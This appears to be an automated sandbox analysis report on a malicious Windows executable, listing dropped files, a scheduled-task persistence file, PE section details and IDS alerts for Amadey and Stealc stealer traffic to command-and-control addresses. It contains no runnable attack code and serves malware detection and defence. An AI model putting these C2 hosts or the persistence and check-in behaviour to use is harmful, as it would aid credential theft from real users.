Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3249152
Entropy (8bit):	6.629943445935846
Encrypted:	false
SSDEEP:	49152:pwtgb91GRPXmzno+0pOcIUoW34QJV9LVKAI6y:pwt291GNWzno+2d34QJjLPG
MD5:	24990FADD993AEA1F187795842B395D2
SHA1:	0BA088D0C129923BB621A592749906842E4C8CBA
SHA-256:	87F4341D8435358A9B093C6D6201D24B05EBDE6A94E4905CD9C03359C69ED386
SHA-512:	BE63DA184E56AC5FB34D88942C392DD4AE6D23AED024CE3C910A19532A2107C0A3320AEAB0FCB78AB5DD586E2A36A74CE4911F20C583C8C87867B6C751482133
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.....N.2...@.................................W...k...........................L.1...............................1..................................................... . ............................@....rsrc...............................@....idata ............................@...vlyutnsq..........................@...fqcepduh......1......n1.............@....taggant.0....1.."...r1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsBAAFIJKKEH.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4308277287680804
Encrypted:	false
SSDEEP:	6:hiGJ4xX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lBpllqlcEt0:hDJYuQ1CGAFifXVBLIlcEt0
MD5:	AECA19AC5B7F8528D61178ABC90B572E
SHA1:	BF65F14D797FB23AA3A8DD7BFD564C51CD050D8F
SHA-256:	6BA500F8C4E333CC00C9C33FE2B349B249AE44A0386BBC3D44F665AF07BEDB07
SHA-512:	58411E7B0876EEA284CB6896570DF2DC75BFDE494784AF9CEA2613797799BBC5E63DE8A646F7BE29ECC96E22577BAA11AC91BA48734BBFABB723F4DB463BEE44
Malicious:	false
Preview:	........ .D.b..`H.F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Chrome Cache Entry: 472

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3123)
Category:	downloaded
Size (bytes):	3128
Entropy (8bit):	5.850843335716338
Encrypted:	false
SSDEEP:	96:kpli0xFd66666rYq+1+EzRUVQHlfs7z+4ffQffo:kfTxFd66666rN+1HiVV
MD5:	C81C58B91724573B0A566582A6BEC7A8
SHA1:	09F07EDC39C4B0D63A2FA8D933281BEAD5EC6299
SHA-256:	F1DEB00A778D34C695A1F9ED30EEAD63A59ABB09CFDC5F7897312A1FBD562BE4
SHA-512:	23FA4A7482A42356EE11A8644FDFA9EC6EF70E0A833D739C1A9327C785626C016D40DD18956B88BAA60E7073AEB5AA0E52AA94645E586FC0B964ECD58D656495
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["nintendo switch 2 release date","best singles day sales","heretic movie ending","yankees juan soto","hurricane season caribbean","kingda ka roller coaster","2024 spotify wrapped","ss united states"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"Cg0vZy8xMWY1aHZ0MmpyEidKdWFuIFNvdG8g4oCUIERvbWluaWNhbiBiYXNlYmFsbCBwbGF5ZXIytwxkYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUFBQVFBQkFBRC8yd0NFQUFrR0J3Z0hCZ2tJQndnS0Nna0xEUllQRFF3TURSc1VGUkFXSUIwaUlpQWRIeDhrS0RRc0pDWXhKeDhmTFQwdE1UVTNPam82SXlzL1JEODRRelE1T2pjQkNnb0tEUXdOR2c4UEdqY2xIeVUzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM04vL0FBQkVJQUVBQVFBTUJJZ0FDRVFFREVRSC94QUFiQUFBQ0FnTUJBQUFBQUFBQUFBQUFBQUFHQndNRkFRSUVBUC9FQURNUUFBSUJBd0lDQndjREJRQUFBQUFBQUFFQ0F3QUVFUVVoRWpFR0V4UWlRVkdoQjBKaGNZR1J3VEt4MFNNelVtTEMvO

Chrome Cache Entry: 473

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 474

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	174097
Entropy (8bit):	5.554845848492248
Encrypted:	false
SSDEEP:	3072:49GysOAIZQy3ZZb6L5BfizRURkgq3ocEs7BB19HDKDSfEISlCMDyQhnF/VU9cpar:49G3IZP3ZZmHfiz+R7q3ocV7BB19HDKq
MD5:	292ACC11525E24B0501DEAC4EB7B61D4
SHA1:	4840E1B06489D1210E25C620AC0E4DEA33F4A574
SHA-256:	A5CB759FC6BF64DD1E35731C88899928B098A359EFF9CA5B34B91F23ADE02C2B
SHA-512:	FBDB4B2B4B647F734B6E05D0495CE1135E9536D611BC567A3B47353FEC986B92412153C214EFE776BC6391239076B3DA6B79851C8BE036C00E4AD026F88CC683
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.ciOLm-Jy21Y.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTvi2-a6fPowp_OrDQczHs8e8wA2zQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.ej=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var fj,gj,ij,lj,oj,nj,hj,mj;fj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};gj=function(){_.Ka()};ij=function(){hj===void 0&&(hj=typeof WeakMap==="function"?fj(WeakMap):null);return hj};lj=function(a,b){(_.jj\|\|(_.jj=new hj)).set(a,b);(_.kj\|\|(_.kj=new hj)).set(b,a)};.oj=function(a){if(mj===void 0){const b=new nj([],{});mj=Array.prototype.concat.call([],b).length===1}mj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.pj=function(a,b,c){a=_.zb(a,b,c);return Array.isArray(a)?a:_.Kc};_.qj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.rj=function(a,b){a===0&&(a=_.qj(a,b));return a\|1};_.sj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.tj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.xj=function(a,b,c,d,e,f,g){const h=a.ha;var k=!!(2&b);e=k?1:e;

Chrome Cache Entry: 475

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133674
Entropy (8bit):	5.432862672302667
Encrypted:	false
SSDEEP:	1536:i7C/VNg57Yp+GhGLhJgJoamyeX43zGiJsKtPLx8OF97f4qlgNCFlOve2dzAcJ82O:fA7vhSJjxeX431PBLx8OF9jJYsci2i6o
MD5:	13AB0581A66C007C03FC4BD0727A180A
SHA1:	DE49DA3CC6E0E78D0CAB7A3749DBAB579C6068A0
SHA-256:	B03ED1C1B2540485BC005F3A114E65563F2D9483DE24A30F4FDAC19328A069F0
SHA-512:	8187D8CB98B34C176DCE38165AA17D2FEEC43E005860D2C559D950545FA8441D04F39F23BB05FE9C57D7B9C7180E0E454B588FFF2B8747ADBE1295945E273D95
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 476

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.gyN29IQRsEA.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTthb_7uL8fi0CBKDba3xi6R0PUU9w"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 477

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.944402886531014
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'802'752 bytes
MD5:	3a3ce10c6085d54ab1ae34eb6c39f5d4
SHA1:	3fae4057d424d9a5e7f94eb52f3c8b31f53289fb
SHA256:	4197c70761efa53fe411eec2db9e81ad06242869d4fc4d913e0cfc03b5c20fc8
SHA512:	529d9fec6f56676ac887ce8526e78d322b3eab5bba94f3422781f1de6155935402024e74fa956e9c47c8edb1038d5ed0149050bc2abd3ba9698b1e68d1327f70
SSDEEP:	49152:POMDGvDEd848Afu80/PNhBG/iMfjvT0qkdISD1h:POsaDOfu8+LY/iKvgqsDph
TLSH:	408533586981FD23CC8C767B1EAF460DAE250517118F1DEE53111E1AEC6223E99E3FC9
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa94000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F9BD0DE4AEAh
punpcklbw mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	d2122db98117e273881283c1ce70cf6c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a8000	0x200	84a45ba042dd770fef6f784d7388e537	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
sftduhzg	0x4f4000	0x19f000	0x19e600	b14670e6c40fac1485aee558e587beaa	False	0.994830552413273	data	7.953365730088578	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hsjflyou	0x693000	0x1000	0x400	f253943472d17fe9ecd0803e30e19331	False	0.751953125	data	5.986569721372741	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x694000	0x3000	0x2200	8b58c435295aa23869d6ba994586e215	False	0.057904411764705885	DOS executable (COM)	0.7107307886380427	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-12T08:30:01.333051+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	57298	TCP
2024-11-12T08:30:09.703317+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-12T08:30:09.987870+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-12T08:30:09.994960+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-12T08:30:10.273700+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-12T08:30:10.282681+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-12T08:30:11.376033+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-12T08:30:11.971336+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-12T08:30:24.114511+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.5	49722	TCP
2024-11-12T08:30:34.437091+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49809	185.215.113.206	80	TCP
2024-11-12T08:30:36.412533+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49809	185.215.113.206	80	TCP
2024-11-12T08:30:37.683148+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49809	185.215.113.206	80	TCP
2024-11-12T08:30:38.875250+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49809	185.215.113.206	80	TCP
2024-11-12T08:30:41.718110+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49809	185.215.113.206	80	TCP
2024-11-12T08:30:42.182216+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49809	185.215.113.206	80	TCP
2024-11-12T08:30:46.227048+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	57137	185.215.113.16	80	TCP
2024-11-12T08:31:02.936741+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.5	57235	TCP
2024-11-12T08:32:05.836342+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	57297	185.215.113.43	80	TCP
2024-11-12T08:32:09.202974+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	57299	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 12, 2024 08:30:01.333050966 CET	49675	443	192.168.2.5	23.1.237.91
Nov 12, 2024 08:30:01.364252090 CET	49674	443	192.168.2.5	23.1.237.91
Nov 12, 2024 08:30:01.504904032 CET	49673	443	192.168.2.5	23.1.237.91
Nov 12, 2024 08:30:08.487030029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:08.491944075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:08.492023945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:08.492176056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:08.496934891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:09.405672073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:09.405751944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:09.409451008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:09.414387941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:09.703223944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:09.703316927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:09.704539061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:09.709361076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:09.987809896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:09.987869978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:09.987951040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:09.987993002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:09.990180969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:09.994960070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:10.273602009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:10.273699999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:10.273713112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:10.273725986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:10.273755074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:10.273773909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:10.274173021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:10.274187088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:10.274214983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:10.274231911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:10.274729013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:10.274780035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:10.274801970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:10.274815083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:10.274847984 CET	49704	80	192.168.2.5	185.215.113.206
